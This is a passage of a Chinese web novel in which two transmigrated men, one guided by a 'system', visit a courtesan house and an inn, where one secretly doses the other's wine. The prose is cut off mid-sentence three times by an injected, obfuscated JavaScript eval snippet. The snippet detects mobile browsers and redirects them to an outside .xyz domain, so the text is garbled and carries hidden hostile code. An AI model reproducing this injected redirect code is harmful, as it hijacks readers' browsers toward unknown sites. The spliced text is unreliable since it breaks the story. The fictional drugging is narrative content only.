宋澜安从来不是矫情、在乎他人目光之人,万众瞩目的场面也经历过不少,只是眼下这种情况,被这么多双眼睛盯着,还是生出了几分羞耻心。 【我能拒绝吗?】 【宿主拒绝的话,任务就会失败哦。】 宋澜安:“……” 上官敬顿时面露得意:“这么简单的题目你都答不出来,居然还想挑战本公子,简直是浪费时间!” 上官敬摇着手中折扇,刚想转头去看老鸨,只见宋澜安目光一凛,仿佛瞬间换了个人,全身升起一股王霸之气! 江序行默默低下头。 简直是没眼看。 “谁说我对不出?今日我便教你什么叫做,狗眼看人低!”宋澜安说完这句话,自己都被自己给雷到了,停顿了片刻。 大概是因为他一开口就如此惊世骇俗,胜券在握,满场众人都静静等待起来。 宋澜安淡淡吐出一句诗来: “腰中雄剑长三尺,君家严慈知不知?” 江序行“噗嗤”一声笑了出来。 这句诗翻译过来是:你这么牛,你家里人知道吗? 真不愧是宋澜安,无论什么时候都这么毒舌。 换作他,一定想不出这么贴切的诗来。 上官敬嚣张跋扈的性格,是真的缺乏管教! 周遭传来了哄笑声,一时间也顾不上上官敬的身家背景了。 上官敬脸上青白交接,极其难看,怒瞪着看热闹的人。 他眼神骇人,为人又是出了名的记仇跋扈,那些人也渐渐不敢笑了。 海棠站在台上抿着薄唇,眉眼含情,心想虽然这位沈公子性格过于自傲了些,但着实有些能耐。 敢当着上官敬的面,将他贬损到如此程度,放眼整个锦城,恐怕除了他再无第二人。 “你!”上官敬指着宋澜安,怒火中烧,“你给我走着瞧,本公子必定会洗了今日之耻!” 沦为笑柄,上官敬没有颜面继续留在这里了,带着身边几个随从,匆匆忙忙又离开了。 路过时,一股若隐若现的血腥味钻进了宋澜安的鼻腔,宋澜安神色微沉,目光追着上官敬的背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030977|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 与此同时,系统欢欢喜喜地宣布任务完成了。 海棠也浅笑着宣布:“既然上官公子放弃,这一局,当是沈公子略胜一筹。” 随之目光转向众人:“可还有要挑战这位公子的?若没有,那本场诗会,魁首便非沈公子莫属了。” 江序行捅了一下宋澜安的腰:“快去领银子!” 宋澜安:“……” 眼下重要的是银子吗? 眉来眼去间,海棠已行至宋澜安身畔,欠了欠身道:“还请沈公子移步妙音阁,海棠近日新谱了一曲,还望公子赏鉴。” 在一片歆羡的目光中,宋澜安起身,而江序行这才弄清楚状况。 宋澜安难道真要和海棠去单独相处? 思及此,他扑棱一下子也站起来了,紧紧抓住了宋澜安:“那我也要去!” 迷药都准备好了,要是这个时候让宋澜安跑了,他恐怕明日就得坐在锦花坊门前大哭。 海棠有些意外。 刚才这两人进来的时候,她并未过多留意,没想到如此精才绝伦的两人,居然是同行的。 “这怎么能行?”老鸨走过来,面色不善。 这沈问澜一看就是个穷鬼,把财神上官敬财神气走,又赔上海棠的时间,她就已经大亏特亏了。 现在他们居然还想一起? 没门儿! “他是我的随从,”宋澜安信口胡诌,“为何不行?” 江序行:“?” 你问过我意见了吗请问? 宋澜安扫了一眼江序行,示意他要么承认,要么自己离开。 江序行:忍了。 他连忙点头哈腰道:“没错,我是我家公子的随从。” 后面几个字他说得咬牙切齿,海棠挑着柳眉,似乎瞧出了什么,但也没有戳破,只是笑意盈盈地看着二人:“这倒是着实令人……意外。” 这回老鸨也没有阻挡的理由了,只能不情不愿地吩咐海棠看着办,而后就扭着腰肢离开了。 “两位公子,这边请吧。” 海棠在前面引路,宋澜安紧随其后。 见他如此殷勤,江序行抱着胳膊,心中生出了一丝微妙的不满。 明明刚才说好了不惹事生非的,结果他隐忍了,宋澜安倒是出尽了风头。 现在还要跟人家花魁夜谈,他怎么好意思的? 海棠带着两人走到一扇门前:“两位公子请进。” 宋澜安和江序行一前一后走进去,只见屏风后摆放着各式各样的乐器,还有一张软榻供人歇息。 这应当就是海棠说的妙音阁了。 “妙音阁中只有一张软榻。”海棠指向另一边的椅子,道,“辛苦小公子坐着听……” 她还没说完,就见江序行已经一屁股坐了上去。 宋澜安:“?” 见两人的目光都落在自己身上,江序行理所应当地开口:“这软榻又不是只能躺着,一人半边儿呗。” 宋澜安还真把他当下人了? 12. 承诺 12 海棠失笑。 沈公子还说他们是主仆关系,可眼下这位小公子是伪装不了片刻。 见宋澜安面色微沉,海棠道:“公子放心吧。我在坊中地位不低,旁人不敢随意过来打扰。” 彼此都是聪明人,似乎没有继续浪费口舌的必要。 不过宋澜安也没打算真的同江序行挤在一起,于是从一旁搬来了椅子,坐下。 “你真不坐?这还挺软乎的。”江序行大方邀请。 宋澜安冷漠地摇了摇头。 江序行见宋澜安不是客气,是真不想过来,于是干脆躺了上去,顿时舒坦地眯起了双眼。 宋澜安不想上来,他还不是真心想让呢! “妙音阁中的茶,都是上好的雨前龙井,我先为二位公子斟茶。” 海棠的动作行云流水,就连简简单单斟茶的动作,都似有万般柔情。 也难怪会让那么多人痴迷了。 “我见两位公子,似乎不是锦城人,难道也是从皇城避难而来?” 海棠不动声色地开口,江序行却不禁一凛。 皇城的事,她是怎么知道的? 宋澜安的面色也渐渐冷了些。 海棠浅笑道:“两位公子不用太过防备,锦花坊中人多眼杂,更何况二位也不是第一批踏入这里的外乡人,海棠不过是听到了一些风声,而后自作聪明猜测了一番,并不是要戳破二位公子的秘密。” “既然无心戳破,最好还是不要提起。”宋澜安淡声道,“刚才替你摆脱了上官敬的纠缠,海棠姑娘,我们应该也能算是两清,我们无意在这里招惹麻烦。” 海棠失语,露出几分歉意,然后从一旁拿起琵琶:“既然今日两位公子已经进了妙音阁,那海棠必定不会辜负。” 她垂眸,拨弄琴弦,清脆的琵琶声从指尖流出。 江序行不是很懂乐曲,但也不禁陶醉其中。 宋澜安倚在椅子上,眸色微深。 【系统,刚才打脸的奖励呢?你可别说,又是加了一点体力值。】 系统立即蹦了出来。 【当然不是了!本系统不都说了吗,这一次的奖励非常重要哦~】 【别废话,快说。】 系统:【……】 这个人怎么一点悬念都不留的! 【这一次的奖励是一条关键信息:上官敬】 宋澜安静默了许久,等待着系统的下文,等着等着,脸色黑沉了下去。 【这就是你说的,特别丰厚的,奖励?】 刚才上官敬从他身边走过的时候,宋澜安闻到了他身上淡淡的血腥味,心中已然生出了疑窦。 经系统这么一提示,便有了进一步的推测。 不过上官敬跟他有什么关系? 二人不过是萍水相逢,要不是因为这个系统任务,宋澜安肯定不会去招惹他。 这不是本末倒置? 察觉到宋澜安的耐心已经到达了极限,系统开启了安抚模式,哄道: 【本系统的判断标准是不会有偏颇的,这个消息真的非常重要!可能现在还用不上,但宿主你有没有想过,世界上本来就没有一步登天的好事。】 【我也只能在主系统的允许下对宿主进行一些引导,不能一下子把皇位送给你呀!】 皇位? 宋澜安都气笑了。 他一个被抛弃的在逃邻国质子,还带着个被追杀的在逃皇子,几时想过那么不切实际的东西? 他只是希望系统不要每一次都这么不靠谱。 这么多次任务下来,他每一次都卖力表演,尽职尽责完成,想要突破权限,但结果无一例外的,都是大失所望。 【少讲大道理,没有别的消息就闭麦吧。】 系统马上就安静了。 小嘴巴,闭严严。 宿主很凶,惹不起呀! 宋澜安回过神来,再次将目光投向海棠。 “真好听!”海棠演奏完一曲,江序行十分捧场地拍了拍手。 见这一副傻白甜的样子,宋澜安就感觉一口气提不上来。 “小公子喜欢便好。”海棠掩唇轻笑,“若是有什么心仪的曲目,也可以告知海棠,不是海棠托大,但整个燕国的曲儿,我应该都会。” “若是我现在不想听曲,想听些别的呢?”宋澜安的声音忽然插了进来,江序行疑惑地看着他。 海棠脸上的笑意淡了几分,试探着问:“那就要看沈公子想听什么了,毕竟海棠也并非百晓生,也有很多不知道的事。” “不必装傻。”宋澜安一语道破,“我想知道的,是有关上官敬的事。海棠姑娘不是说了,此处不会有外人踏足,就当是与我们二人随意杂谈,这间屋子中说过的话,也不会传到外人的耳中。” 果真不好对付,甚至宋澜安看向她的眼神里没有一丝波澜,这实属罕见。 海棠悠悠叹了一口气道:“好吧,就当是今夜沈公子救我于水火的酬劳。只是我对上官敬也并不是那么了解,恐怕会让沈公子失望。” 宋澜安眼神示意她继续。 经海棠一讲述,江序行和宋澜安明白了。 原来,上官敬能够如此横行跋扈,是因为他与镇北王的夫人沾着亲缘,而锦城几乎就是镇北王的一言堂。 谁敢在锦城地界上,招惹镇北王的亲戚? 海棠凝视着面前二人:“总之,这位上官公子的脾气属实不怎么样,仗着家中势力,在城中横行霸道,早已不是一天两天的事。” “两位公子,今后在锦城之中千万不要再招惹上官敬,经过了今天的事,他恐怕已经在心中给沈公子记上了一笔。” 宋澜安神色不明,暗自思忖了片刻。 “多谢海棠姑娘提醒,时间不早了,我们也不多打扰了。”他起身,顺便把躺在软踏上东倒西歪的江序行也扯了起来,“走了,我们回客栈。” 江序行还没呆够呢,不过对上宋澜安冷飕飕的目光,他就顿时怂了:“好吧。” 海棠将两人送到妙音阁门口便止住了脚步:“两位公子,若是有缘再见。” 江序行不情不愿地被宋澜安拉着下楼,因为没有防备,他脚步还有些踉跄:“你这么着急干嘛?” 宋澜安:“难不成你要留在青楼过夜?” 两人走出锦花坊,已经过去了近两个时辰,街上一片冷清,灯火阑珊。 江序行连忙摇摇头:“不了不了,我不留在青楼过夜,我跟你回客栈过夜,咱们快些走吧!” 两人回到客栈已是第二天凌晨,洗漱完,江序行有些好奇地凑了过去:“宋澜安,你在系统那里得到什么奖励了?” 他眼尾还染着湿漉漉的水汽,近得几乎要贴上宋澜安的脸,然而自己丝毫没有觉得不妥。 宋澜安抱着胳膊后退了半步:“不告诉你。” 他自己也觉得有点丢人,站出来惹了麻烦,结果得到了这么个没用的消息,让江序行知道了,肯定会笑话他。 “为什么不告诉我?”江序行瞬间好奇心爆棚,“这有什么见不得人的?难道你还怕我偷你的机密?” 宋澜安:“……” 要真是那种值得保密的秘密,他也不至于说不出口了。 【叮咚!】 此时,系统又贱兮兮地冒了出来。 宋澜安黑着脸。 【你看看现在几点了,还刷新什么任务。】 这深更半夜的,他要去打谁的脸? 【不是不是!】 【因为宿主对奖励不太满意,而且确实在指导奖励之前就已经猜测到了部分内容,所以我向主系统申请了一下。】 【给宿主进行了补充奖励,一套刀法!】 说完这些,系统特地停顿了几秒,邀功一般,等宋澜安表扬自己。 但宋澜安平静得近乎冷淡。 【这不是应该的吗?】 系统:累觉不爱。 谁想要这个拽王宿主,一两银子清仓大甩卖! “宋澜安,你发什么呆呢?” “你就告诉我吧,奖励到底是什么呀?” 江序行还在叽叽喳喳,忽然,宋澜安眼前出现一块虚拟屏,将刀法的步骤以动画和图解的形式详细地展示了出来。 凭学神的记忆力,看过一遍,宋澜安就将动作和招式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030978|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全都记住了。 他推开江序行凑得过于近的脸:“这么想知道?那就随我去后院。” 宋澜安已事先观察过客栈结构,客栈后面的空间宽敞,能施展开拳脚,这个时间,应该没人会往那边去,刚好方便了他们。 “还得去后院?”江序行狐疑地睨了他一眼,不过最终出于好奇心,还是跟上了。 俗话说好奇心害死猫,江序行感觉自己现在也差不多了。 “系统这次赠的,是一套刀法。”两人来到后院,四下寂静无人,宋澜安言简意赅,“你这副身子太过孱弱,要想逃命的时候不拖后腿,就得先好好锻炼。” 说着,宋澜安从一旁的柳树上撅了一条软枝,丢给一头雾水的江序行:“从今天开始,我教你一套刀法,你务必学会,既能增强体魄,也能防身,以备不时之需。” 不等江序行反应,他就率先尝试演练了一番。 一套刀法使下来行云流水,那些动作似乎真的成为了身体的记忆。 收了软枝,宋澜安满意了。 系统总算是有用了一次。 江序行就不同了,他无比清晰地意识到,这知识它根本不往脑子里面去啊! 照猫画虎地晃动了两下手中的柳条,江序行自己都忍不住笑了—— 如果说宋澜安舞的是刀法,那自己打的就是无敌猫猫拳了。 “宋澜安,我感觉学这个也是白费功夫,我根本就不适合……” 下一刻,宋澜安忽然走到他身后,修长有力的手臂环住江序行的双臂,代替他挥出柳条:“还没试呢,就说自己不行?” 柳条抽动空气的飒飒响声,在安静的月光下显得凌厉,江序行在宋澜安的操控下,也逐渐获得了一些要领,有模有样地挥舞起来。 一个转身,江序行对上宋澜安棱角分明的侧脸,稍一凝视,便生出愧疚感来。 宋澜安似乎是真心想要教会自己。 可他怎么知道,自己若真的学成了这套刀法,又会用怎样的方式,将刀子捅入他的心窝? “专心,别溜号。”宋澜安提醒。 明明连声音都是冷的,呼出来的气息却炽热滚烫,洒在江序行耳畔。 江序行有一瞬的心慌,可也只能快速调整好自己的心情,继续舞动柳条,逐渐也变得得心应手起来。 两人就这么练了半个时辰,江序行终于瘫倒在一旁的石凳上,无论如何都不肯再练了。 “宋澜安,你知不知道什么叫做揠苗助长!”江序行气喘吁吁,“就算是要练,也不能一晚上全都学会吧?” 更何况原主这具身体,简直就是拖后腿的好手,江序行现在全身上下都酸痛难当,实在是有心无力。 江序行四仰八叉地靠在石桌,死活都不肯再继续了,宋澜安便将柳条随手扔到一旁:“行吧,那今日就先休息。” 怕再多留一秒宋澜安就会临时变卦,江序行强撑着身体站起来,噔噔噔地跑回了楼上,往床上一瘫。 “今后,你每日都要练一个时辰,我亲自监督。”宋澜安回到屋中,有些嫌弃地打量着江序行。 他单薄得,浑身上下连一点肌肉都没有,以至于刚才倚在自己怀中,整副身子都是软绵绵的。 弱成这样还不勤加练习,只怕一阵强风吹过,都得把他给吹折了。 “啊?”江序行苦着脸,试图讨价还价,“一个时辰也太长了,要不然还是半个时辰吧?” “还有力气讨价还价,看样子还没到极限,那就两个时辰。” “不用!还是一个吧,我觉得我可以。” 宋澜安:“。” 江序行默默在心中吐槽宋澜安,成天就知道压榨自己,忽然,他像是意识到了什么般,从床上一骨碌爬了起来,眼眸在烛火的映照下亮得出奇:“你以后,日日都监督我?” 宋澜安不打算离开他了? 宋澜安垂眸,凝视着江序行写满雀跃的脸,“嗯”了一声。 然后走到另一边的榻上坐下,声音浅浅。 “今后路上同行,彼此间能有个照应,只要你不总提一些非分要求,我或许可以考虑……” “不丢下你。” 13. 诡计 13 不丢下你。 说出这四个字的时候,宋澜安不禁愣了下神。 这分明是江序行先前说过的话,从他自己口中吐出来,莫名有些怪异。 就仿佛江序行是什么小猫小狗,将他留在锦城,就如同犯了遗弃罪。 江小狗,不是…… 江序行听到宋澜安的承诺,也顾不上浑身的酸软了,直接冲到了他的面前,眼光闪亮:“宋澜安,我就知道你最好了!” 宋澜安有些尴尬地移开目光:“留下是有前提的,你要是半路添乱,我还是会独自离开。” 江序行已经摸透了,宋澜安虽然看上去总是一副拒人于千里之外的姿态,如同万年不化的坚冰,可实际上,根本就没有表现出来的那般冷硬。 嘴硬心软的家伙。 心弦莫名被触动了一下,江序行心思也有些微动,宋澜安都不打算离开了,要不放过他这一次,过段时间再下手? 然而念头刚一闪过,宋澜安就忽然开口问道:“你晚上买的药呢?” 江序行噎住。 宋澜安目光落向桌上的药包,走上前提起来,目光幽深:“这药既然是强身健体的,现在练完功喝效果应该最好,我去帮你煮。” 江序行一个箭步冲了过去,将那包药夺回到自己手中:“这个就不用麻烦你了,我还是自己来吧!” 宋澜安:“?” 又不虚了? 宋澜安眯起眼眸看着降序行,江序行莫名从这样压迫的目光里嗅到了危险的意味,心中满是忐忑。 难不成,宋澜安察觉到这药不对劲了? 要是这样,宋澜安刚才和自己说的那些话就全都是委以虚蛇了,实际上,只是想找机会彻底甩掉他。 江序行浑身的血液都仿佛冷了下来,整个人也清醒了不少。 他跟宋澜安根本不是朋友。 怎么能因为宋澜安一时的示弱,就决定拖延动手的时间呢? 宋澜安危险性极高,况且还很难对付,能够找到下手的机会已经十分难得。 错过这次,恐怕再难有下次了。 心软只会害了自己。 “不过是想帮你一下,怎么反应这么大,”宋澜安走近了一些,“该不是做了什么亏心事吧?” 江序行立刻露出一副狗腿的神情:“我能有什么亏心事啊,就是觉得你又要教我,又要帮我煮药,太辛苦了点。这种小事我自己做旧好了,我现在就去煮!” 说完,江序行就在宋澜安眼皮子底下,卷着迷药溜着大吉了。 门关上,宋澜安的神色彻底沉了下去。 没过多久,江序行又回来了,手里捧着一壶酒:“这是刚才店家推荐的锦阳酒,说是锦城的特色。” 他把酒放在桌子上,朝着宋澜安眨了眨眼:“咱俩来都来了,尝尝呗?” 宋澜安依旧是那副淡淡的神情,坐在软榻上整理着行李,对此好不感兴趣:“你自己喝吧,我不喝酒。” 迷药都已经放进去了,容不得宋澜安不喝。 江序行走过去,掐着宋澜安的衣袖左摇右晃:“我一个人喝酒多没意思啊,就这么一壶酒,咱俩分着喝不会醉的。” 江序行也觉得自己这动作有点做作,奈何宋澜安似乎格外吃这一套,屡屡因为受不了他撒娇而妥协。 咦,这算得上是美人计吗? 江序行一再坚持,宋澜安只能松口答应,走到桌边坐了下来。 酒已经倒好了,江序行将下了迷药的那一杯递到宋澜安面前:“你先尝尝,味道好不好喝?” 江序行有些紧张,只见宋澜安举起了手中的杯子,轻轻嗅了一下。 似乎并未察觉到什么异样,又在江序行期许的注视下,将杯子凑到了嘴边。 江序行眼睛都快掉到酒杯里了,宋澜安见状,放下了手中的杯子。 江序行:“!” 差一点就要入口了,宋澜安怎么忽然又停了? “我忽然想起一件事,先前从你侍卫那里搜来的短刀,你拿去防身吧。” 短刀? 江序行惦记了一路,本想等解决了宋澜安之后,再把那把短刀搜出来带上。 那刀一看就绝非凡品,说不定关键时刻还能保自己一命。 现在宋澜安这么大方地要给他,江序行蠢蠢欲动。 “就在我的包裹里,你去拿吧。” 江序行怕露出破绽,没有再催宋澜安喝酒,而是答应了一声,去拿宋澜安的包裹。 他也不傻,担心宋澜安临时变卦,不喝酒了,抓起包裹就争分夺秒地回到了桌边。 “你先喝着,我翻翻。” 宋澜安垂眸,将手中的酒一饮而尽。 江序行有些傻眼地看着他,就这么痛快地喝下了? 他的心终于可以放进肚子可了,可愧疚感也随之弥漫上心头,以至于翻找包裹的动作都慢了许多。 “找不到就明天再说,你不喝吗?”宋澜安问。 江序行祈祷迷药能快点发挥作用,随便应了一句,然后将酒饮下。 全当是给自己壮胆了! 这锦阳酒确实味道不错,辛辣甘甜,江序行只喝了一杯,就有些上头。 原主这副身体的酒量也太差了吧? 江序行迷迷糊糊地想。 忽然一阵燥热袭来,江序行顿时感觉心痒难搔,口干舌燥地又给自己倒了一杯酒,冰凉的液体划过肺腑,却没有带来一丝清明。 “宋澜安……你没什么感觉吗?”江序行努力睁大双眼,凝视着面前的人,却见宋澜安神情陌生,全然没有了片刻之前的温情。 如同回到初次穿越到破庙的那一日,他眼中满是阴鹜与杀意。 “我应该有什么感觉?”宋澜安声音冰冷,走到江序行面前,居高临下地望着他,随后抬手—— 一把掐住了江序行的脖子:“你不该动这些歪心思,江序行。” 江序行只觉得一阵窒息,但哪怕是这一刻宋澜安带来的濒死感,都无法掩盖心中涌动的那股燥热,江序行并未求饶,喉间却溢出了一声嘤咛:“嗯……” 他张大嘴巴,大口摄取着空气,目光迷离:“宋澜安,我感觉,好像有点不对劲。” 宋澜安也感觉到了。 江序行从下巴到脖子根都是滚烫的,整张脸也因为热意染上了桃花般的绯红,水汽氤氲下,凤眸迷离,神态微醺。 宋澜安从这双眼中,看到了几分情欲。 意识到这一点,他手心如同被烫了下,下意识松了些力道。 而面前的人却抬起了不安分的手指,顺着他的手腕向上滑,激起一片痒意。 宋澜安这只原本打算取人性命的手,被江序行一点点攥在手里,抱入怀中:“宋澜安,我好热,我好难受。” 宋澜安的手臂冰冰凉凉,温度刚好,在江序行眼里如同唯一的救赎,也因此,江序行一个劲儿地往宋澜安身上蹭,摄取他身上的温度,勉强维持镇定。 “你究竟下的什么药?” 宋澜安无语至极,见江序行这反应,就算是再迟钝,也看得出来异样了。 这副药,并非是他所想的毒药或者迷药,而是…… 那种药。 做了二十余年的端方君子,宋澜安想到这里,即便没有喝药,耳尖都仿佛被火烧了,陡然滚烫起来。 他还以为江序行是要害他。 结果他怎么是要,睡他? 思及此,宋澜安火速把自己的手腕抽了出来,结果他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030979|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动还好,这一动,江序行身上失去了支撑,直接向前稳稳扑进了宋澜安怀中。 浑身上下的不满足感一瞬间被填满,江序行眯着眼睛发出了一声喟叹:“好舒服……” “江序行,你清醒一下!”宋澜安黑着脸,感觉到自己腰间不断作乱的手,连叫江序行的名字都是咬牙切齿的。 但迷情药此时已经完全发挥了作用,江序行根本意识不到自己在做什么,只凭本能牢牢缠着宋澜安,以做纾解。 他伸出手,戳了一下宋澜安的唇角,滚烫的指尖落在薄唇上,存在感分明:“你长得这么好看,总那么凶干什么?” 江序行单纯地发出疑问:“难道,这就是传说中的持靓行凶?” 宋澜安:“……” 这他妈搭边儿吗? 他现在不想跟江序行说话,思绪因为这跑偏的现状而有些混乱,一只手臂拖着江序行的身体,推开了房门。 不知道江序行这副药强度究竟如何,但现在的状况毋庸置疑,绝不能任由他这么不受控制地继续发疯。 江序行的手肆意乱动,在宋澜安的腰间来回游走,宋澜安忽地被摸出了几分火气,沉着声音警告:“江序行,你再摸,我就把你丢出去。” 然而得到的只有江序行的一声轻笑:“啊,你要是舍得的话,就把我扔出去吧。” 江序行顺着宋澜安的力度往上攀爬,张牙舞爪,整个人直接挂在了他身上,眼尾赤红着哼唧道:“宋澜安,你肯定不舍得的。” 宋澜安的脸色比锅底还要黑,他现在是真的很想把江序行扔下去。 几番辗转,宋澜安终于带着江序行在街角处找到了一家医馆。 已是三更天,店铺自然关了,宋澜安抬手扣动门环:“请问有人在吗?” 里面黑漆漆一片,没有人吭声。 眼看着江序行状态越来越差,一双手也开始在宋澜安的衣裳系带处来回摸索盘算,宋澜安真怕他一个控制不住自己,两个人就要在街上裸奔。 别说是在古代,就算是回到了现代,宋澜安都得带着江序行投河自尽。 没时间去找下一家医馆了,宋澜安又扣了扣门环,终于,里面传来了趿拉声。 少顷,一位老者手持烛台打开了门,瞧上去有些失魂落魄:“两位有事吗?” 宋澜安面无表情地指着自己身上鬼迷日眼的江序行:“他中了药,深更半夜无意打扰,但还是恳请郎中替他医治。” 见江序行的状态显然不对劲,确实挺不了多久了,老者叹了一口气,最终还是让开了一条路:“罢了,两位请进吧,老朽便是郎中。” 江序行一双手还在宋澜安身上作乱,宋澜安气息乱了几分,皱着眉,别开眼,将江序行联捆带抱了起来。 捞在臂弯中,他觉得似乎比想象中更加瘦弱了些。 “这位公子,把病患放在床上吧。” 宋澜安冷着脸,费了好大的劲才将江序行从自己身上揭下去。 江序行挨上床,就瞬间蜷成了一只虾,脸上蔓延开痛苦。 “咳咳。”老郎中在一旁咳嗽了两声,见宋澜安还没有动作,无奈开口,“公子,你可以出去了。” 宋澜安顿了顿,将银子放在桌上:“请先生费心。” 说完便转了身,快步走到屏风外,悉心等待。 江序行给自己下的迷情药虽然效果猛烈,但好在是常见药之一,郎中很快就将他身上的药性给解了。 “这种迷情药常用在牲畜身上,因此只要服用一点,便会完全难以自控。” “是谁这么缺德,居然给这小公子下这样的药!” 宋澜安:“……” 不才,缺德的正是小公子本人。 而他差一点就中招了。 14. 变故 14 郎中叹息一声,目光落在江序行过于精致的侧颜上,有些失神,似有心事一般。 宋澜安早就察觉到了郎中的失魂落魄,但他们只是来求医问药的,自顾都不暇,根本没有管闲事的能耐。 “银两不用找了,今夜你不曾见过我二人,明白了吗?”宋澜安低声道。 郎中点点头,又叹了一口气。 “如今老朽也没有闲心去关注这些了,今日能够救助这位公子,也算是一种缘分。” “两位请回吧,再有半柱香的时间,这位小公子应该就能苏醒过来了。” 宋澜安也不想在这里久留,道了谢,把江序行捞起来,扛着他往客栈走。 半路上,江序行迷迷糊糊被颠醒。 想起自己都做了些什么,他又恨不得立刻晕死过去,也好过面对宋澜安的盘问与调侃。 于是直到被宋澜安丢在床上,江序行还紧闭着双眼,表演得非常卖力。 “现在想要避而不答,装死,是不是晚了点?”宋澜安冷冰冰的声音从头顶响起。 即便事情的发展与他所想的不同,但江序行终究生出了别的心思,令宋澜安不禁警觉。 最开始,他分明是想要甩掉江序行的,结果现在却赋予了他这么多不该有的信任。 江序行见装死行不通,鸦睫轻颤,最终还是睁开了眼睛,凤眸如同被水洗过一般明澈,江序行适应了一下光线,才清了清嗓子:“你先说,你究竟是什么时候发现我不对劲的?” 宋澜安再聪明,总不至于未卜先知吧! 江序行自认做的都已经很周密了,况且无论是去当铺还是去药房,都全然没有泄露自己的踪迹。 宋澜安是怎么知道他要做什么的? “我确实不知道分开之后你去了哪儿,不过在分开之前,你就已经露馅了。” 不知为何,面对着江序行,宋澜安还有些耐性。 “往常要分别之时,你都会再三警告,要我不要生出逃跑的心思。可当时你提出分开,却表现得十分迫不及待。”宋澜安说到这里冷笑了一声,犹如冰泉相激,“破绽百出。” 江序行:“……” 他也没有料到,居然是因为这个。 不得不说,宋澜安还真是够观察入微的。不过当时江序行心里想的全都是怎么才能杀了他,哪里还顾得上要演戏演全套? 说完,宋澜安目光一凛,居高临下地看着江序行,语气更是锋芒毕露。 “现在你好奇的,我已经解释了。” “你也该解释一下,为什么要在酒里面给我下……那种药了吧?” 江序行沉默。 完全解释不了一点。 若真的是迷药被发现了,大不了破罐子破摔,说我就是想杀了你,又怎么样呢? 但现在,一字之差却谬之千里。 他难道还能说,我是想迷死你? 不等江序行纠结完,一抹寒光便在他的眼皮子底下闪光,那把削铁如泥的软刀,再次抵在了他的颈间。 江序行再一次感受到了宋澜安对自己的杀意。 “说,不要动歪心思。” 江序行心乱如麻。 “其实,其实!” 他灵光一闪,可怜巴巴地凝视着宋澜安,眼尾更是说红就红。 “我就是怕你要离开我,所以只能出此下策。我现在知道我做的都是错的了,但是你自己反思一下。” “难道你就没有错吗!” 好一招反客为主。 江序行都想在心里面给自己点一个赞。 宋澜安也被他这一招打得措手不及:“我有什么错?” “你犯了遗弃罪!” 江序行已经口不择言,“我们都是一起来的,结果你现在随随便便就要把我扔了,你一点责任感都没有。” “你就是一个彻头彻尾的渣男!” 宋澜安:“……” 事实说明,不仅事实能胜于雄辩。 不要脸也可以。 不过江序行越说越真,都快把自己给骗进去了,宋澜安忍不住反思了一下自己。 江序行说的,倒也不是完全没有道理。 正常人的思想必然是在这种情况下合力回到现代,能够在这个光怪陆离的书中世界一起挣扎,携手并进,总好过一个人沉沦。 只是。 宋澜安想,终究是他铁石心肠吧? “算了,念在你是初犯。”宋澜安深吸一口气,在江序行希冀又忐忑的目光中开口,“不过,我先前已经承诺过你不会随意离开,你应该相信我,以后这种多余的事就不要再做了。” 现下,能够糊弄过宋澜安就已经很不错了。 见他真的相信了自己的说辞,江序行心情复杂,不过还是点了点头:“我保证以后不会了!” 说完,江序行就把自己塞进了被窝。 “快睡吧,时间不早了。”宋澜安也没再多说什么,熄灭了屋中的烛火,瞬间整个屋子都陷入了一片漆黑与寂静之中。 只传来一点窸窸窣窣的声音,是宋澜安在翻身上床。 江序行闭上眼睛,瞬间,刚才发生过的那些画面都钻进了脑海。 江序行:! 他可不是那种老色批啊! 江序行翻了个身,想要将刚才的那些画面全都遗忘,结果越是努力不去想,就越是能够想起。 宋澜安身上的肌肉线条,是真的很紧实啊…… 思及此处,江序行回忆了一下当时的手感,又伸手摸了摸自己的腹部。 虽然没有赘肉,一片平坦,但也是一点腹肌的形状都没有,软绵绵的,像棉花一样,看上去就是一个武力值为零的小菜鸡。 嫉妒如同喝水一般简单。 又忍不住翻了个身,江序行思考着今天过后,还能怎么对宋澜安下手。 好在宋澜安承诺了不会离开,江序行也看出他这一次答应是出自于真心,所以留给他能够下手的时间又宽泛了些。 可是这么拖延下去,他真的能得手吗? 江序行如同锅上的煎饼,再次翻身。 “你要是实在睡不着,就出去喂蚊子。” 刚翻过来,宋澜安低沉的声音就从另一侧响起,似乎其间还夹杂了一丝冷笑。 江序行:“……” 宋澜安舔自己嘴唇的时候,怎么没把自己毒死? 不过被他这么一说,江序行也就不敢再动弹了,闭着眼睛躺了半晌,困意也逐渐袭来,很快就陷入到了黑甜的梦乡。 翌日。 还没等睡醒,忽然一阵吵闹声从门前响起。 江序行还没睁开眼,便听到有人破门而入的声音,顿时清醒了几分,从床上坐起来。 